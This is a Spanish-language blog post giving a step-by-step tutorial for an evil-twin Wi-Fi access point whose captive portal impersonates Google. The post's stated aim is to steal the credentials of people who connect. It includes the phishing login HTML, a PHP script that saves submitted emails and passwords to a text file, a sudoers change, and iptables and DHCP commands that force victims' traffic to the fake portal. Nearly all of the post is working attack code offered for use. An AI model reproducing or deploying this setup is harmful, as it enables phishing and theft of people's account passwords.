viernes, 20 de enero de 2017

Portal cautivo que roba contraseñas

Queridos amigos:

En este post vamos a ver hoy cómo crear un punto de accceso falso que, cuando alguien se conecte, introducirá las credenciales google y las capturaremos. A cambio, le ofreceremos internet gratis.

En primer lugar, configuraremos nuestro servidor.

En la carpeta /var/www/ creamos una nueva carpeta, llamada GoogleWifi2

mkdir GoogleWifi2

Editamos /etc/apache2/apache2.conf y añadimos



Editamos /etc/apache2/ports.conf y añadimos



Editamos /etc/apache2/sites-available y añadimos



Editamos /etc/apache2/sites-enabled y añadimos lo mismo que la imagen anterior, si es que no lo ha añadido automáticamente.

Creamos una página web como sigue:

index.html



<!DOCTYPE html>
<html lang="es">
<meta charset="UTF-8">
        <head>

                <title>Google Wifi</title>
                <LINK REL="stylesheet" TYPE="text/css" HREF="estilos.css">
        </head>

        <body>
                <img heigh="100" width="200" src="google.jpg">
                <br>
                <h2>Inicia sesión en Google para Disfrutar de Internet Gratis.</h2>
                <br>
                <h2>Usuario:</h2>
                <br>
                <form name="login" action="login.php" method="POST">
                        <center><input type="text" name="email"></center>
                <br>
                <h2>Contraseña:</h2>
                <br>
                        <center><input type="password" name="password"></center>
                <br>
                        <center><input type="Submit" value="Iniciar sesión"></center>
                <br>
                </form>
        </body>
</html>
 
Estilos.css

H1 {text-align:center}
H2 {text-align:center}

login.php



<?php
        $fd=fopen("/var/www/GoogleWifi2/datos.txt","a");
        fwrite($fd,"email: ");
        fwrite($fd,$_POST["email"]);
        fwrite($fd," ");
        fwrite($fd,"password: ");
        fwrite($fd,$_POST["password"]);
        fwrite($fd,"\n");
        fclose($fd);
        
        $saludo=" disfrute de su conexión";


        echo "<img heigh=\"100\" width=\"200\" src=\"google.jpg\">";
        echo "<br>";
        echo "<center><h1>$saludo <h1></center> "

        $ip=$_SERVER['REMOTE_ADDR'];
        $comando1="sudo -su root iptables -t nat -I PREROUTING -s $ip -p tcp -j ACCEPT";
        $comando2="sudo -su root iptables -t nat -A PREROUTING -s $ip -p tcp -j ACCEPT";

        exec($comando1);
        exec($comando2);



?>      

Para que apache pueda crear el archivo donde se guardarán las contraseñas, seguimos los siguientes pasos.

Ponemos:

visudo


Pulsamos la tecla insert (me refiero a la tecla del teclado). Y añadimos al final del archivo:


www-data bt=(root) NOPASSWD:/sbin/iptables


Presionamos la tecla ESC


Ponemos
:w
para guardar los cambios.


Ponemos
:q
Y así salimos.

Os explico, apache actúa como si fuese un usuario, el cual se llama www-data, al cual le acabamos de dar permiso para que pueda agregar reglas a iptables.

Vamos al tema.


Sin embargo, las reglas de iptables serán las siguientes:

ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1400 
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -F
iptables -t nat -F
iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.1.1
iptables -P FORWARD ACCEPT
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables --table nat --append POSTROUTING --out-interface eth0  -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp -j REDIRECT --to-port 55556
dhcpd -cf /etc/dhcpd.conf -pf /var/run/dhcpd.pid at0

Las contraseñas las grabará en el archivo datos.txt, que si no está creado, se creará automáticamente.


No hay comentarios:

Publicar un comentario

Nota: solo los miembros de este blog pueden publicar comentarios.